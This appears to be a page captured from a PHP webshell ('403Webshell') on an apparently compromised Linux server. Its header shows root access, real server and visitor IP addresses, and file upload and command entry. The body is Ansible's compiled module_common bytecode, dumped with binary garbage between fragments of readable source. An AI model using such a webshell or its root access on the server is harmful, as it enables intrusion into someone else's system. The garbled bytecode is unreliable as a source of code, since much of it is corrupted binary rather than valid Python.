403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/executor/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/executor/__pycache__/module_common.cpython-312.pyc
�

1<�e*��(�ddlmZmZmZeZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlmZmZmZddlmZddlmZmZddlmZddlmZddlmZdd	lm Z!dd
l"m#Z#ddl$m%Z%m&Z&m'Z'ddl(m)Z)dd
l*m+Z+m,Z,ddl-m.Z.ddl/m0Z0ddl1m2Z2ddl3Z4ddl5Z4e0�Z6e2dgd��Z7dZ8dZ9dZ:dZ;dZ<dZ=dZ>dZ?e
j�j�e
j�j�eC�dd�ZDdZEdZFdZGd ZHd!�ZIej�reEZKneIeE�ZKe
j�j�e
j�j�e
j�j�eC���ZLej�d"ej�eL�z�ZOej�d#�ZPej�d$�ZQGd%�d&ej��ZSd'�ZTeU�d(fd)�ZVGd*�d+�ZWGd,�d-eW�ZXGd.�d/eW�ZYd9d0�ZZd9d1�Z[d2�Z\d3�Z]d4�Z^	d:d5�Z_d6�Z`		d;d7�Zad9d8�Zby)<�)�absolute_import�division�print_functionN)�AST�Import�
ImportFrom)�BytesIO)�__version__�
__author__)�	constants)�AnsibleError)�!InterpreterDiscoveryRequiredError)�module_manifest)�AnsibleJSONEncoder)�to_bytes�to_text�	to_native)�module_utils_loader)�_get_collection_metadata�_nested_dict_get)�action_write_locks)�Display)�
namedtuple�ModuleUtilsProcessEntry)�
name_parts�is_ambiguous�has_redirected_child�is_optionals"#<<INCLUDE_ANSIBLE_MODULE_COMMON>>s"<<ANSIBLE_VERSION>>"s)"<<INCLUDE_ANSIBLE_MODULE_COMPLEX_ARGS>>"s# POWERSHELL_COMMONs$<<INCLUDE_ANSIBLE_MODULE_JSON_ARGS>>s<<SELINUX_SPECIAL_FILESYSTEMS>>z# -*- coding: utf-8 -*-s# -*- coding: utf-8 -*-z..�module_utilsa�.%(shebang)s
%(coding)s
_ANSIBALLZ_WRAPPER = True # For test-module.py script to tell this is a ANSIBALLZ_WRAPPER
# This code is part of Ansible, but is an independent component.
# The code in this particular templatable string, and this templatable string
# only, is BSD licensed.  Modules which end up using this snippet, which is
# dynamically combined together by Ansible still belong to the author of the
# module, and they may assign their own license to the complete work.
#
# Copyright (c), James Cammarata, 2016
# Copyright (c), Toshio Kuratomi, 2016
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
def _ansiballz_main():
    import os
    import os.path

    # Access to the working directory is required by Python when using pipelining, as well as for the coverage module.
    # Some platforms, such as macOS, may not allow querying the working directory when using become to drop privileges.
    try:
        os.getcwd()
    except OSError:
        try:
            os.chdir(os.path.expanduser('~'))
        except OSError:
            os.chdir('/')

%(rlimit)s

    import sys
    import __main__

    # For some distros and python versions we pick up this script in the temporary
    # directory.  This leads to problems when the ansible module masks a python
    # library that another import needs.  We have not figured out what about the
    # specific distros and python versions causes this to behave differently.
    #
    # Tested distros:
    # Fedora23 with python3.4  Works
    # Ubuntu15.10 with python2.7  Works
    # Ubuntu15.10 with python3.4  Fails without this
    # Ubuntu16.04.1 with python3.5  Fails without this
    # To test on another platform:
    # * use the copy module (since this shadows the stdlib copy module)
    # * Turn off pipelining
    # * Make sure that the destination file does not exist
    # * ansible ubuntu16-test -m copy -a 'src=/etc/motd dest=/var/tmp/m'
    # This will traceback in shutil.  Looking at the complete traceback will show
    # that shutil is importing copy which finds the ansible module instead of the
    # stdlib module
    scriptdir = None
    try:
        scriptdir = os.path.dirname(os.path.realpath(__main__.__file__))
    except (AttributeError, OSError):
        # Some platforms don't set __file__ when reading from stdin
        # OSX raises OSError if using abspath() in a directory we don't have
        # permission to read (realpath calls abspath)
        pass

    # Strip cwd from sys.path to avoid potential permissions issues
    excludes = set(('', '.', scriptdir))
    sys.path = [p for p in sys.path if p not in excludes]

    import base64
    import runpy
    import shutil
    import tempfile
    import zipfile

    if sys.version_info < (3,):
        PY3 = False
    else:
        PY3 = True

    ZIPDATA = """%(zipdata)s"""

    # Note: temp_path isn't needed once we switch to zipimport
    def invoke_module(modlib_path, temp_path, json_params):
        # When installed via setuptools (including python setup.py install),
        # ansible may be installed with an easy-install.pth file.  That file
        # may load the system-wide install of ansible rather than the one in
        # the module.  sitecustomize is the only way to override that setting.
        z = zipfile.ZipFile(modlib_path, mode='a')

        # py3: modlib_path will be text, py2: it's bytes.  Need bytes at the end
        sitecustomize = u'import sys\nsys.path.insert(0,"%%s")\n' %% modlib_path
        sitecustomize = sitecustomize.encode('utf-8')
        # Use a ZipInfo to work around zipfile limitation on hosts with
        # clocks set to a pre-1980 year (for instance, Raspberry Pi)
        zinfo = zipfile.ZipInfo()
        zinfo.filename = 'sitecustomize.py'
        zinfo.date_time = %(date_time)s
        z.writestr(zinfo, sitecustomize)
        z.close()

        # Put the zipped up module_utils we got from the controller first in the python path so that we
        # can monkeypatch the right basic
        sys.path.insert(0, modlib_path)

        # Monkeypatch the parameters into basic
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = json_params
%(coverage)s
        # Run the module!  By importing it as '__main__', it thinks it is executing as a script
        runpy.run_module(mod_name='%(module_fqn)s', init_globals=dict(_module_fqn='%(module_fqn)s', _modlib_path=modlib_path),
                         run_name='__main__', alter_sys=True)

        # Ansible modules must exit themselves
        print('{"msg": "New-style module did not handle its own exit", "failed": true}')
        sys.exit(1)

    def debug(command, zipped_mod, json_params):
        # The code here normally doesn't run.  It's only used for debugging on the
        # remote machine.
        #
        # The subcommands in this function make it easier to debug ansiballz
        # modules.  Here's the basic steps:
        #
        # Run ansible with the environment variable: ANSIBLE_KEEP_REMOTE_FILES=1 and -vvv
        # to save the module file remotely::
        #   $ ANSIBLE_KEEP_REMOTE_FILES=1 ansible host1 -m ping -a 'data=october' -vvv
        #
        # Part of the verbose output will tell you where on the remote machine the
        # module was written to::
        #   [...]
        #   <host1> SSH: EXEC ssh -C -q -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o
        #   PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o ConnectTimeout=10 -o
        #   ControlPath=/home/badger/.ansible/cp/ansible-ssh-%%h-%%p-%%r -tt rhel7 '/bin/sh -c '"'"'LANG=en_US.UTF-8 LC_ALL=en_US.UTF-8
        #   LC_MESSAGES=en_US.UTF-8 /usr/bin/python /home/badger/.ansible/tmp/ansible-tmp-1461173013.93-9076457629738/ping'"'"''
        #   [...]
        #
        # Login to the remote machine and run the module file via from the previous
        # step with the explode subcommand to extract the module payload into
        # source files::
        #   $ ssh host1
        #   $ /usr/bin/python /home/badger/.ansible/tmp/ansible-tmp-1461173013.93-9076457629738/ping explode
        #   Module expanded into:
        #   /home/badger/.ansible/tmp/ansible-tmp-1461173408.08-279692652635227/ansible
        #
        # You can now edit the source files to instrument the code or experiment with
        # different parameter values.  When you're ready to run the code you've modified
        # (instead of the code from the actual zipped module), use the execute subcommand like this::
        #   $ /usr/bin/python /home/badger/.ansible/tmp/ansible-tmp-1461173013.93-9076457629738/ping execute

        # Okay to use __file__ here because we're running from a kept file
        basedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'debug_dir')
        args_path = os.path.join(basedir, 'args')

        if command == 'explode':
            # transform the ZIPDATA into an exploded directory of code and then
            # print the path to the code.  This is an easy way for people to look
            # at the code on the remote machine for debugging it in that
            # environment
            z = zipfile.ZipFile(zipped_mod)
            for filename in z.namelist():
                if filename.startswith('/'):
                    raise Exception('Something wrong with this module zip file: should not contain absolute paths')

                dest_filename = os.path.join(basedir, filename)
                if dest_filename.endswith(os.path.sep) and not os.path.exists(dest_filename):
                    os.makedirs(dest_filename)
                else:
                    directory = os.path.dirname(dest_filename)
                    if not os.path.exists(directory):
                        os.makedirs(directory)
                    f = open(dest_filename, 'wb')
                    f.write(z.read(filename))
                    f.close()

            # write the args file
            f = open(args_path, 'wb')
            f.write(json_params)
            f.close()

            print('Module expanded into:')
            print('%%s' %% basedir)
            exitcode = 0

        elif command == 'execute':
            # Execute the exploded code instead of executing the module from the
            # embedded ZIPDATA.  This allows people to easily run their modified
            # code on the remote machine to see how changes will affect it.

            # Set pythonpath to the debug dir
            sys.path.insert(0, basedir)

            # read in the args file which the user may have modified
            with open(args_path, 'rb') as f:
                json_params = f.read()

            # Monkeypatch the parameters into basic
            from ansible.module_utils import basic
            basic._ANSIBLE_ARGS = json_params

            # Run the module!  By importing it as '__main__', it thinks it is executing as a script
            runpy.run_module(mod_name='%(module_fqn)s', init_globals=None, run_name='__main__', alter_sys=True)

            # Ansible modules must exit themselves
            print('{"msg": "New-style module did not handle its own exit", "failed": true}')
            sys.exit(1)

        else:
            print('WARNING: Unknown debug command.  Doing nothing.')
            exitcode = 0

        return exitcode

    #
    # See comments in the debug() method for information on debugging
    #

    ANSIBALLZ_PARAMS = %(params)s
    if PY3:
        ANSIBALLZ_PARAMS = ANSIBALLZ_PARAMS.encode('utf-8')
    try:
        # There's a race condition with the controller removing the
        # remote_tmpdir and this module executing under async.  So we cannot
        # store this in remote_tmpdir (use system tempdir instead)
        # Only need to use [ansible_module]_payload_ in the temp_path until we move to zipimport
        # (this helps ansible-test produce coverage stats)
        temp_path = tempfile.mkdtemp(prefix='ansible_%(ansible_module)s_payload_')

        zipped_mod = os.path.join(temp_path, 'ansible_%(ansible_module)s_payload.zip')

        with open(zipped_mod, 'wb') as modlib:
            modlib.write(base64.b64decode(ZIPDATA))

        if len(sys.argv) == 2:
            exitcode = debug(sys.argv[1], zipped_mod, ANSIBALLZ_PARAMS)
        else:
            # Note: temp_path isn't needed once we switch to zipimport
            invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)
    finally:
        try:
            shutil.rmtree(temp_path)
        except (NameError, OSError):
            # tempdir creation probably failed
            pass
    sys.exit(exitcode)

if __name__ == '__main__':
    _ansiballz_main()
a
        os.environ['COVERAGE_FILE'] = '%(coverage_output)s=python-%%s=coverage' %% '.'.join(str(v) for v in sys.version_info[:2])

        import atexit

        try:
            import coverage
        except ImportError:
            print('{"msg": "Could not import `coverage` module.", "failed": true}')
            sys.exit(1)

        cov = coverage.Coverage(config_file='%(coverage_config)s')

        def atexit_coverage():
            cov.stop()
            cov.save()

        atexit.register(atexit_coverage)

        cov.start()
a�
        try:
            if PY3:
                import importlib.util
                if importlib.util.find_spec('coverage') is None:
                    raise ImportError
            else:
                import imp
                imp.find_module('coverage')
        except ImportError:
            print('{"msg": "Could not find `coverage` module.", "failed": true}')
            sys.exit(1)
a�
    import resource

    existing_soft, existing_hard = resource.getrlimit(resource.RLIMIT_NOFILE)

    # adjust soft limit subject to existing hard limit
    requested_soft = min(existing_hard, %(rlimit_nofile)d)

    if requested_soft != existing_soft:
        try:
            resource.setrlimit(resource.RLIMIT_NOFILE, (requested_soft, existing_hard))
        except ValueError:
            # some platforms (eg macOS) lie about their hard limit
            pass
c��g}|j�D]7}|j�}|r|jd�r�'|j|��9dj	|�S)N�#�
)�
splitlines�strip�
startswith�append�join)�source�buf�line�ls    �@/usr/lib/python3/dist-packages/ansible/executor/module_common.py�_strip_commentsr-�sW��
�C��!�!�#����J�J�L���A�L�L��&���
�
�4��	�
�:�:�c�?��z*%s/(?P<path>ansible/modules/.*)\.(py|ps1)$zH/(?P<path>ansible_collections/[^/]+/[^/]+/plugins/modules/.*)\.(py|ps1)$s�(?:from +\.{2,} *module_utils.* +import |from +ansible_collections\.[^.]+\.[^.]+\.plugins\.module_utils.* +import |import +ansible_collections\.[^.]+\.[^.]+\.plugins\.module_utils.*|from +ansible\.module_utils.* +import |import +ansible\.module_utils\.)c�6��eZdZd�fd�	Zd�ZeZd�Zd�Z�xZS)�ModuleDepFinderc���tt|�
|i|��||_t	�|_t	�|_||_||_t|jt|ji|_
|j|�y)a�
        Walk the ast tree for the python module.
        :arg module_fqn: The fully qualified name to reach this module in dotted notation.
            example: ansible.module_utils.basic
        :arg is_pkg_init: Inform the finder it's looking at a package init (eg __init__.py) to allow
            relative import expansion to use the proper package level without having imported it locally first.

        Save submodule[.submoduleN][.identifier] into self.submodules
        when they are from ansible.module_utils or ansible_collections packages

        self.submodules will end up with tuples like:
          - ('ansible', 'module_utils', 'basic',)
          - ('ansible', 'module_utils', 'urls', 'fetch_url')
          - ('ansible', 'module_utils', 'database', 'postgres')
          - ('ansible', 'module_utils', 'database', 'postgres', 'quote')
          - ('ansible', 'module_utils', 'database', 'postgres', 'quote')
          - ('ansible_collections', 'my_ns', 'my_col', 'plugins', 'module_utils', 'foo')

        It's up to calling code to determine whether the final element of the
        tuple are module names or something else (function, class, or variable names)
        .. seealso:: :python3:class:`ast.NodeVisitor`
        N)�superr0�__init__�_tree�set�
submodules�optional_imports�
module_fqn�is_pkg_initr�visit_Importr�visit_ImportFrom�
_visit_map�visit)�selfr8�treer9�args�kwargs�	__class__s      �r,r3zModuleDepFinder.__init__�sq���.	�o�t�-�t�>�v�>���
��%��� #����$���&���
�D�%�%���-�-�
���
	
�
�
�4�r.c�6�|j}|j}tj|�D]i\}}t	|t
�s�|D]N}t	|ttf�r||_||j|��6t	|t�s�G||��P�ky)z�Overridden ``generic_visit`` that makes some assumptions about our
        use case, and improves performance by calling visitors directly instead
        of calling ``visit`` to offload calling visitors.
        N)�
generic_visitr<�ast�iter_fields�
isinstance�listrr�parentrBr)r>�noderD�	visit_map�field�value�items       r,rDzModuleDepFinder.generic_visit�s���
�*�*�
��O�O�	��O�O�D�1�	,�L�E�5��%��&�!�,�D�!�$���(<�=�&*���1�	�$�.�.�1�$�7�#�D�#�.�%�d�+�,�	,r.c��|jD]�}|jjd�s|jjd�s�:t|jj	d��}|j
j
|�|j|jk7s��|jj
|���|j|�y)z�
        Handle import ansible.module_utils.MODLIB[.MODLIBn] [as asname]

        We save these as interesting submodules when the imported library is in ansible.module_utils
        or ansible.collections
        zansible.module_utils.�ansible_collections.�.N)�names�namer%�tuple�splitr6�addrIr4r7rD)r>rJ�alias�py_mods    r,r:zModuleDepFinder.visit_Import�s����Z�Z�	6�E��
�
�%�%�&=�>��J�J�)�)�*@�A��u�z�z�/�/��4�5�����#�#�F�+��;�;�$�*�*�,��)�)�-�-�f�5�	6�	
���4� r.c��|jdkDr�|jr|jdzxsdn|j}|jrht|jj	d��}|j
r#dj
|d||j
fz�}n.dj
|d|�}n|j
}n|j
}d}|jdjdk(r|jjd�nn|jd�rt|j	d��}nB|jd�r1|jd	�sd
|vrt|j	d��}n	|r}|jD]n}|jj||jfz�|j|jk7s�F|jj||jfz��p|j!|�y)a	
        Handle from ansible.module_utils.MODLIB import [.MODLIBn] [as asname]

        Also has to handle relative imports

        We save these as interesting submodules when the imported library is in ansible.module_utils
        or ansible.collections
        r�NrQ�_six)r[zansible.module_utilsrPzplugins.module_utilsz.plugins.module_utils.)�levelr9r8rTrU�moduler'rRrSr6rVr%�endswithrIr4r7rD)r>rJ�level_slice_offset�parts�node_modulerXrWs       r,r;z ModuleDepFinder.visit_ImportFroms����:�:��>�<@�<L�<L�$�*�*��q��!8�D�SW�S]�S]�R]������d�o�o�3�3�C�8�9���;�;�"%�(�(�5�1D�2D�+E�����+V�"W�K�#&�(�(�5�1D�2D�+E�"F�K�#�k�k���+�+�K����:�:�a�=����'��O�O���	�*�
�
#�
#�$:�
;�
�;�,�,�S�1�2�F�
�
#�
#�$:�
;��#�#�$:�;�?W�[f�?f�
�{�0�0��5�6�������
F�����#�#�F�e�j�j�]�$:�;��;�;�$�*�*�,��)�)�-�-�f��
�
�}�.D�E�	
F�	
���4� r.�F)	�__name__�
__module__�__qualname__r3rDr=r:r;�
__classcell__�rBs@r,r0r0�s���#�J,� 
�E�!�"?!r.r0c��tjj|�s+tdtjj	|�z��t|d�5}|j
�}ddd�|S#1swYSxYw)Nz1imported module support code does not exist at %s�rb)�os�path�existsr
�abspath�open�read)rk�fd�datas   r,�_slurprrBsg��
�7�7�>�>�$���N�QS�QX�QX�Q`�Q`�ae�Qf�f�g�g�	
�d�D�	��R��w�w�y����K���K�s�A2�2A<Fc��tjj|�j�}d|z}d|j	�z}d}|dk(r�|r|d}n�t
jj|�rut
jj||��}	|j|	j��}|r|dvrod|z}
|jd	i�}|
|vrtd
||���||
}n@td|d
���||vr.|j|j|�j��}|s|}dj|�}|r|dzdj|�z}||fS)za
      Handles the different ways ansible allows overriding the shebang target for a module.
    zansible_%s_interpreterzINTERPRETER_%sN�python�ansible_playbook_python��	variables)�auto�auto_legacy�auto_silent�auto_legacy_silentzdiscovered_interpreter_%s�
ansible_factszinterpreter discovery needed)�interpreter_name�discovery_modezinterpreter discovery requiredryz#!{0}� )rjrk�basenamer$�upper�C�config�get_configuration_definition�get_config_value�template�getr�formatr')
�interpreter�	task_vars�templarr@�remote_is_localr}�interpreter_config�interpreter_config_key�interpreter_out�interpreter_from_config�discovered_interpreter_config�facts_from_task_vars�shebangs
             r,�_get_shebangr�Js����w�w�'�'��4�:�:�<��3�5E�E��-�0@�0F�0F�0H�H���O��8�#��'�(A�B�O��X�X�
2�
2�3I�
J�&'�h�h�&?�&?�@V�bk�&?�&l�#�%�.�.�/F�/L�/L�/N�O�O�#�o�9u�&u�0L�O_�0_�-�'0�}�}�_�b�'I�$�0�8L�L�;�<Z�m}�O^�_�_�&:�;X�&Y�O�3�4T�gw�IV�W�
W�	�y�	(�!�*�*�9�=�=�9K�+L�+R�+R�+T�U���%���o�o�o�.�G���D�.�4�9�9�T�?�2���O�#�#r.c�J�eZdZd
d�Zed��Zd�Zd�Zd�Zd�Z	dd�Z
d�Zy	)�ModuleUtilLocatorBasec��||_||_||_d|_d|_||_d|_d|_d|_d|_	|r*t|j|��dkDr
||ddg|_y|g|_y)NF�rZ���)
�
_is_ambiguous�_child_is_redirected�_is_optional�found�
redirected�
fq_name_parts�source_code�output_path�
is_package�_collection_name�len�!_get_module_utils_remainder_parts�candidate_names)r>r�r�child_is_redirectedrs     r,r3zModuleUtilLocatorBase.__init__�s���)���%8��!�'�����
����*������������ $����C�� F� F�}� U�V�YZ�Z�$1�=��"�3E�#F�D� �$1�?�D� r.c�^�|jD�cgc]}dj|���c}Scc}w�NrQ)r�r')r>�ns  r,�candidate_names_joinedz,ModuleUtilLocatorBase.candidate_names_joined�s$��%)�%9�%9�:�������:�:��:s�*c
��|j|�}|sy	t|j�}t|dddj|�g�}|sy|jd�}|du}|s|jd�}|r�|jd�}|jd	�}	|jd
�}
dj
dj|��}|
r|dj
|
�z
}n|dz
}tj||	|||j�d
|vr�d|_
dj|�}d|_|d
}
|
jd�se|
j!d�}t#|�dkrt%dj
||
���dj
|d|ddj|dd��}
tj'dj
||
��|j)||
�|_yy#t$rT}|jrYd}~ytdj
dj|�|jt|����d}~wwxYw)NFzGerror processing module_util {0} loading redirected collection {1}: {2}rQ�plugin_routingr�	tombstone�deprecation�removal_date�removal_version�warning_textz module_util {0} has been removedz ({0})�redirectT�ansible_collections�zinvalid redirect for {0}: {1}z4ansible_collections.{0}.{1}.plugins.module_utils.{2}rrZ�z"redirecting module_util {0} to {1})r�rr��
ValueErrorr�r
r�r'rrr��display�
deprecatedr�r�r%rUr��	Exception�vvv�_generate_redirect_shim_sourcer�)r>r�module_utils_relative_parts�collection_metadata�ve�
routing_entry�	dep_or_ts�removedr�r�r��msg�
source_pkg�redirect_target_pkg�
split_fqcns               r,�_handle_redirectz&ModuleUtilLocatorBase._handle_redirect�sS��&*�&L�&L�Z�&X�#�+��	d�":�4�;P�;P�"Q��)�)<�?O�Q_�ad�ai�ai�kF�bG�?H�I�
���"�%�%�k�2�	��4�'���%�)�)�-�8�I��$�=�=��8�L�'�m�m�,=�>�O�$�=�=��8�L�4�;�;�C�H�H�Z�<P�Q�C���x���|�4�4���s�
�����s�O�W�l�D�La�La�b���&�"�D�O����*�-�J�"�D�O�"/�
�";��'�1�1�2G�H�0�6�6�s�;�
��z�?�Q�&�#�$C�$J�$J�:�Wj�$k�l�l�&\�&c�&c��q�M��q�M��H�H�Z���^�,�'�#�

�K�K�<�C�C�J�Pc�d�e�#�B�B�:�Ob�c�D�����a�	d�� � ���h� &��s�x�x�
�';�T�=R�=R�T]�^`�Ta� b�d�
d��	d�s�G$�$	I�-H<�>>H<�<Ic��gS�N��r>rs  r,r�z7ModuleUtilLocatorBase._get_module_utils_remainder_parts�s���	r.c�B�dj|j|��Sr�)r'r�r�s  r,�_get_module_utils_remainderz1ModuleUtilLocatorBase._get_module_utils_remainder�s���x�x��>�>�z�J�K�Kr.c��y)NFr�r�s  r,�_find_modulez"ModuleUtilLocatorBase._find_module�s��r.c�f�|jD]@}|r|j|�rnG|j|�rn4|r�.|j|�s�@n|jrd|_d|_ny|jrdz}n}d|_tjj|�dz|_
||_y)NTr�)r3�.py)r�r�r�r�r�r�r�rjrkr'r�r�)r>�redirect_first�candidate_name_parts�
path_partss    r,�_locatezModuleUtilLocatorBase._locate�s���$(�$8�$8�	� ��$�"7�"7�8L�"M��� � �!5�6��!�d�&;�&;�<P�&Q��	��(�(�"&���#%�� ���?�?�-�
�=�J�-�J���
��7�7�<�<��4�u�<���1��r.c�&�dj||�S)Nz8
import sys
import {1} as mod

sys.modules['{0}'] = mod
)r�)r>�fq_source_module�fq_target_modules   r,r�z4ModuleUtilLocatorBase._generate_redirect_shim_source�s���
�F��-�.�	/r.N�FFF)T)rcrdrer3�propertyr�r�r�r�r�r�r�r�r.r,r�r��s;��3�*�;��;�9�v�L��2�4/r.r�c�,��eZdZd�fd�	Zd�Zd�Z�xZS)�LegacyModuleUtilLocatorc����tt|�|||�|dddk7rtdj	|���|ddk(r
d}|g|_||_d|_|jd�	�y)
Nrr���ansiblerz=this class can only locate from ansible.module_utils, got {0}�six)r�rr�zansible.builtinF)r�)	r2r�r3r�r�r��	_mu_pathsr�r�)r>r�r�mu_pathsr�rBs     �r,r3z LegacyModuleUtilLocator.__init__	s{���
�%�t�5�m�\�Sf�g���1��!<�<��[�b�b�cp�q�r�r����u�$�?�M�$1�?�D� �!��� 1������E��*r.c��|ddS)Nr�r�r�s  r,r�z9LegacyModuleUtilLocator._get_module_utils_remainder_parts����!�"�~�r.c	�f�|j|�}t|�dk(r
|j}n:|jD�cgc]%}tjj
|g|dd�����'}}tjjjdj|�|�x|_
}|�stjj|j�dtjjvr-|jjd�|_|j}nyt!|�|_ycc}w)NrZr�rQ�/__init__.pyFT)r�r�r�rjrkr'�	importlib�	machinery�
PathFinder�	find_spec�_info�splitext�origin�SOURCE_SUFFIXESr^r�rrr�)r>r�rel_name_parts�paths�p�inforks       r,r�z$LegacyModuleUtilLocator._find_modules����?�?�
�K���~��!�#��N�N�E��^�^�%�q�R�W�W�\�\�!�:�n�S�b�&9�:�%�E�%�&�/�/�:�:�D�D�S�X�X�j�EY�[`�a�a��
�T������ 0� 0���� =�a� @�I�DW�DW�Dg�Dg� g�"�k�k�2�2�>�B�D�O��;�;�D��!�$�<�����%s�*D.)FNF)rcrdrer3r�r�rfrgs@r,r�r�s���+� �r.r�c�,��eZdZd�fd�	Zd�Zd�Z�xZS)�CollectionModuleUtilLocatorc�(��tt|�||||�|ddk7rtdj	|���t|�dk\r"|dddk7rtdj	|���d	j
|d
d�|_|j�y)Nrr�zMCollectionModuleUtilLocator can only locate from ansible_collections, got {0}�r��)�pluginsrzoCollectionModuleUtilLocator can only locate below ansible_collections.(ns).(coll).plugins.module_utils, got {0}rQrZ)	r2r�r3r�r�r�r'r�r�)r>r�rr�rrBs     �r,r3z$CollectionModuleUtilLocator.__init__3s����
�)�4�9�-��Wj�lw�x����4�4��k�r�r�tA�B�C�
C�
��
�1�
$��q��);�?Z�)Z��N�#�V�M�2�4�
4�!$����q��);� <������r.c	���t|�dkrd|_d|_ydj|dd�}t	j
j|dd�}d}	t
j|ttj
j|d���}|�d|_n#	t
j|t|dz��}|�y	||_y#t$rY�CwxYw#t$rY�%wxYw)
Nr�r�TrQrr�z__init__.pyr�F)
r�r�r�r'rjrk�pkgutil�get_datar�ImportError)r>r�collection_pkg_name�resource_base_path�srcs     r,r�z(CollectionModuleUtilLocator._find_module@s����z�?�Q��!�D��"�D�O��"�h�h�z�!�A��7���W�W�\�\�:�a�b�>�:����	��"�"�#6�	�"�'�'�,�,�Oa�cp�Bq�8r�s�C��?�"�D�O�
��&�&�':�I�FX�[`�F`�<a�b���;�������#�	��	���
��
�s$�=C	�"C�		C�C�	C$�#C$c��|ddS)Nr�r�r�s  r,r�z=CollectionModuleUtilLocator._get_module_utils_remainder_partsfr�r.r�)rcrdrer3r�r�rfrgs@r,r�r�2s����$�Lr.r�c�Z�tj||��}|r|j|_|S)N)�filename�	date_time)�zipfile�ZipInfo�compression�
compress_type)rr�zf�zinfos    r,�_make_zinfor
js,���O�O���
�E�
� �n�n����Lr.c
�X���|�tj�dd}dtt�zdztt�zdzdfdd��tjd	�
�D�cgc]$}tjj|�s�#|��&}}|jt�	t|ddtj�}t'||���j(D�	cgc]}	t+|	dd	|	�j,v����}
}	|
jt+dd	d	d	���|
�r�|
j/�|
j1d�\}}}
}|�vr�.|dddk(rt3||||
��}n2|ddk(rt5|||
|��}nt6j9d|gz��x|j:s*|r��dj=||j>�}t#|��|j@�vr��	t|jBddtj�}t'djE|j@�||jF��|
jI��fd��j(D��|jB|jJf�|j@<g}|j@ddD]K}|j|�tM|�}|�vs�$|
jt+|d	|jN|����M|
r����D]S}�|d}|jQtS|||���|d�tU|d� �}t6jWd!|z��Uycc}w#tt f$r }t#d
|�d|j$����d}~wwxYwcc}	w#tt f$r*}t#d
|j@�d|j$����d}~wwxYw)"a�
    Using ModuleDepFinder, make sure we have all of the module_utils files that
    the module and its module_utils files needs. (no longer actually recursive)
    :arg name: Name of the python module we're examining
    :arg module_fqn: Fully qualified name of the python module we're scanning
    :arg module_data: string Python code of the module we're scanning
    :arg zf: An open :python:class:`zipfile.ZipFile` object that holds the Ansible module payload
        which we're assembling
    Nr�sUfrom pkgutil import extend_path
__path__=extend_path(__path__,__name__)
__version__="s"
__author__="s"
zansible/__init__.py)sHfrom pkgutil import extend_path
__path__=extend_path(__path__,__name__)
z ansible/module_utils/__init__.py))r�r�F)�subdirsz	<unknown>�execzUnable to import z due to T�r)r�r�basicrr�r�)rr�r�r�)rr�rz=ModuleDepFinder improperly found a non-module_utils import %szFCould not find imported module support code for {0}.  Looked for ({1})rQc3�\�K�|]#}|�vrt|dd|�jv�����%y�w)TFrN)rr7)�.0�m�finder�py_module_caches  ��r,�	<genexpr>z#recursive_finder.<locals>.<genexpr>�s=�����"Z�&'���@X�#:�!�T�5�VW�[a�[r�[r�Vr�"s�"s�"Z�s�),r�rZ�r�surrogate_or_strict��errorszIncluding module_utils file %s),�time�gmtimerr
rr�
_get_pathsrjrk�isdirr&�_MODULE_UTILS_PATH�compilerE�
PyCF_ONLY_AST�SyntaxError�IndentationErrorr
r�r0r6rr7�sort�popr�r�r��warningr�r�r�r�r�r'r��extendr�rTr��writestrr
r�vvvvv)rSr8�module_datarrr��module_utils_pathsr?�er�modules_to_process�py_module_namerr�r�module_infor��accumulated_pkg_name�pkg�normalized_name�py_module_file_name�mu_filerrs                      @@r,�recursive_finderr4ts������K�K�M�"�1�%�	�
�'��4�
5�
�
�"*�*�!5�
6�9?�
?�
"�#�&0�
1�O�&9�%C�%C�E�%R�g��VX�V]�V]�Vc�Vc�de�Vf�!�g��g����0�1�L��{�K���9J�9J�K���Z��
.�F�v|�vG�vG�H�pq�1�!�T�5�a�SY�Sj�Sj�Nj�k�H��H����5�6Z�\a�ch�v{�|�}�����!�I[�I_�I_�`a�Ib�F���&9�;��_�,���!�A��"=�=�1�.�|�;M�cv�x�K�
�A�
�"7�
7�5�n�S_�J]�kv�x�K�
�O�O�[�-�.�/�
